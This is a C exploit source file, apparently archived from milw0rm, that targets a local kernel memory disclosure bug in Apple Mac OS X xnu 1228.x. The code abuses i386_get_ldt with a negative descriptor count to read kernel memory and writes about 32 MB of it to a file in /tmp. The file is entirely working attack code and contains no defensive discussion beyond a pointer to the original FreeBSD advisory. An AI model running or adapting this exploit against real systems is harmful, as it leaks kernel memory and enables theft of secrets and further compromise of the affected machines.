/* xnu-get_ldt.c * * Copyright (c) 2008 by * * Apple MACOS X xnu <= 1228.x local kernel memory disclosure * by mu-b - Wed 17 Dec 2008 * * - Tested on: Apple MACOS X 10.5.5 (xnu-1228.8.20~1/RELEASE_I386) * * props to christer who originally found the bug in FreeBSD. * (ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-05:07.ldt.asc) * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2008!@$! */ #include #include #include #include #include #include #include #include #define TMP_FILE "/tmp/xnu-get_ldt" #define READ_SIZE 0x2000000 int main (int argc, char **argv) { int fd, n, num_desc; void *ptr; printf ("Apple MACOS X xnu <= 1228.x local kernel memory disclosure\n" "by: \n" "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n"); n = i386_get_ldt (0, ((int)NULL) + 1, 0); if (n < 0) { fprintf (stderr, "failed i386_get_ldt(): %d\n", n); return (EXIT_FAILURE); } num_desc = n; printf ("i386_get_ldt: num_desc: %d\n", num_desc); fd = open (TMP_FILE, O_CREAT | O_RDWR, S_IRUSR | S_IWUSR); if (fd < 0) { fprintf (stderr, "failed open(): %d\n", fd); return (EXIT_FAILURE); } ptr = mmap (NULL, READ_SIZE, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if ((int) ptr == -1) { fprintf (stderr, "failed mmap()\n"); return (EXIT_FAILURE); } memset (ptr, 0x00, READ_SIZE); i386_get_ldt (num_desc - 1, (union ldt_entry *) ptr, -(num_desc - 1)); n = write (fd, ptr, READ_SIZE); munmap (ptr, READ_SIZE); close (fd); printf ("%d-bytes of kernel memory dumped to: %s\n", n, TMP_FILE); return (EXIT_SUCCESS); } // milw0rm.com [2009-02-25]

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